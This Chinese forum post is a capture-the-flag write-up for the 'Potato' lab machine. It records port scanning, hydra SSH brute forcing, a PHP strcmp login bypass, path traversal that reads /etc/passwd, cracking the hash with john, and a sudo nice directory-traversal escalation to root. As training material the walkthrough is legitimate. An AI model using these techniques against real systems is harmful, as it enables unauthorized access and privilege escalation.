OSCP系列靶场-Esay-Potato

杳若   ·   发表于 2023-07-30 21:46:24   ·   CTF&WP专版

OSCP系列靶场-Esay-Potato

总结

getwebshell : ftp读取登录处源码 → 绕过登录限制 → 发现文件读取 → 读取用户加密密码 → john爆破密码 → ssh账号密码登录

提 权 思 路 : sudo文件发现 → nice目录穿越提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.194

  • 启动靶机
    获取目标机器IP → 192.168.203.101

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.203.101

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2112/tcp open  kip


开放的端口-→22,80,2112

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,2112 192.168.203.101

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
2112/tcp open  ftp     ProFTPD

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 8.2p1

# 搜索对应脚本
msf6 → searchsploit OpenSSH 8.2p1

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.203.101 -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root @192.168.203.101 -p 22
# 密码尝试
password → root

弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.203.101 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

2112-FTP端口的信息收集

这边ftp端口改到了2112

2112-FTP版本版本信息

通过nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
namp探测版本为ProFTPD

# ProFTPD是开源软件,一般文件位置如下
/etc/proftpd/proftpd.conf

2112-FTP端口匿名登录测试

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.203.101 -p 2112
Name: anonymous

2112-FTP端口-文件GET收集

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件

# binary 以二进制模式传输文件,保证文件完整
ftp → binary
# 查看目录结构
ftp → ls -al
# get 下载文件
ftp → get welcome.msg
ftp → get index.php.bak

2112-FTP端口-PUT上传测试(不允许)

测试是否可以利用PUT上传文件

# 建立一个text.txt的文件测试是否能上传
touch text.txt
# put 上传文件
ftp → put text.txt

文件查看

welcome.msg里面没什么信息


index.php.bak文件像是源码信息,表述的是login登录

80-HTTP端口的信息收集

访问 http://192.168.203.101:80 不是CMS我们直接从HTML隐藏信息收集开始

信息收集-HTML隐藏信息查看

# 包括文章中是否写明一些敏感信息
# curl http://192.168.203.101:80

Potato company

  <h1>Potato company</h1>
  <p>At the moment, there is nothing. This site is under construction. To make you wait, here is a photo of a potato:</p>
  <img src="potato.jpg">

Potato company可能是关键词

信息收集-目录扫描

信息收集-目录扫描初步
dirsearch -u http://192.168.203.101:80 -x 302,403


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/admin/端点

访问该端点是一处很简陋的账号登陆

/admin/logs/端点


戳进logs可以看到用户名是admin,其他没什么内容

漏洞利用-getwebshell

登录处实践

发现存在登录端点时尝试的最佳实践指南

  1. 通用弱账号以及密码尝试登陆
  2. 万能密码实践
    浅浅尝试了admin admin没用 唔


想到了之前从ftp中获得的源码,可能有一定的关联
在代码中账号是接受POST传参的username,值必须是admin,正好和logs中得到的用户名信息对应上

if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0  &amp;&amp; strcmp($_POST['password'], $pass) == 0) {                                                     
    echo "Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>";
    setcookie('pass', $pass, time() + 365*24*3600);                     
  }else{
    echo "<p>Bad login/password! </br> Return to the <a href="index.php">login page</a> <p>";
  }                                                                     
  exit();            
}

在登录的代码用了strcmp进行对比,如果相同返回0不相同返回非0
只要我们输入的密码和预设的$pass相同就可以成功登录


网上冲浪得到的结果尝试将密码变为数组输入为1个数引发爆破
确定是POST传参之后,利用burp尝试构造


点击按钮前往新功能


发现只有logs可以点

文件读取获取加密密码

发现功能点存在文件读取的功能


尝试是否可以构造成目录穿越,通过观察url以及查看传参抓包确认修改POST


后缀添加尝试失败file=log_01.txt/../../../../../etc/passwd


去掉了log发现成功文件读取
得到用户名与密码webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/


通常来说/etc/passwd文件之中密码是x,读到了完整的密码不简单

离线爆破密码解密

首先将密码保存成文本,尝试爆破

echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' → pass.hash

利用john爆破获取密码

john pass.hash

得到密码为dragon

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

sudo ssh webadmin @192.168.203.101 -p22
password → dragon

内网遨游-getshell

FLAG1获取

webadmin @serv:~$ find / -name local.txt 2→/dev/null
/home/webadmin/local.txt
webadmin @serv:~$ cat /home/webadmin/local.txt
9374543a8c1147e45e8799cc8f4732ec

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
webadmin @serv:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04 LTS
Release:        20.04
Codename:       focal

发行版本为Ubuntu 20.04,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

webadmin @serv:~$ uname -a
Linux serv 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

内核版本为5.4.0-42

检测当前用户的权限

webadmin @serv:~$ id
uid=1001(webadmin) gid=1001(webadmin) groups=1001(webadmin)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
webadmin @serv:~$ sudo -l
[sudo] password for webadmin: 
Matching Defaults entries for webadmin on serv:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on serv:
    (ALL : ALL) /bin/nice /notes/*

发现需要密码,输入dragon发现内容

权限提升

sudo提权

   (ALL : ALL) /bin/nice /notes/*

发现的内容说明在/notes/文件下任意内容都可以sudo执行nice


尝试在该文件夹下写入一个切换容器的命令并执行

webadmin @serv:/notes$ echo '/bin/sh -p' → /notes/shell
-bash: /notes/shell.sh: Permission denied

发现该目录下没有权限,换了一个思路
找到可以执行的目录写入

cd /tmp
echo '/bin/sh -p' → shell
cat shell
chmod +x shell

尝试利用目录穿越绕过sudo的限制

webadmin @serv:/tmp$ /bin/nice /notes/../../tmp/shell
$ id
uid=1001(webadmin) gid=1001(webadmin) groups=1001(webadmin)
$

提权没有成功,思考问题


忘了加sudo,傻了

webadmin @serv:/tmp$ sudo /bin/nice /notes/../../tmp/shell
[sudo] password for webadmin: 
# id
uid=0(root) gid=0(root) groups=0(root)
#

权限提升成功

FLAG2获取

# cat /root/proof.txt
6d57642f1ea9a70324050997c3b2aa7e

完结撒花~

总结

权限提升的时候忘记加sudo有点离谱

用户名金币积分时间理由
Track-魔方 500.00 0 2023-08-06 11:11:45 深度 200 普适 200 可读 100

打赏我,让我更有动力~

1 条回复   |  直到 8个月前 | 324 次浏览

Track-魔方
发表于 8个月前

稍微注意一下’>’符号被实体编码的问题

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.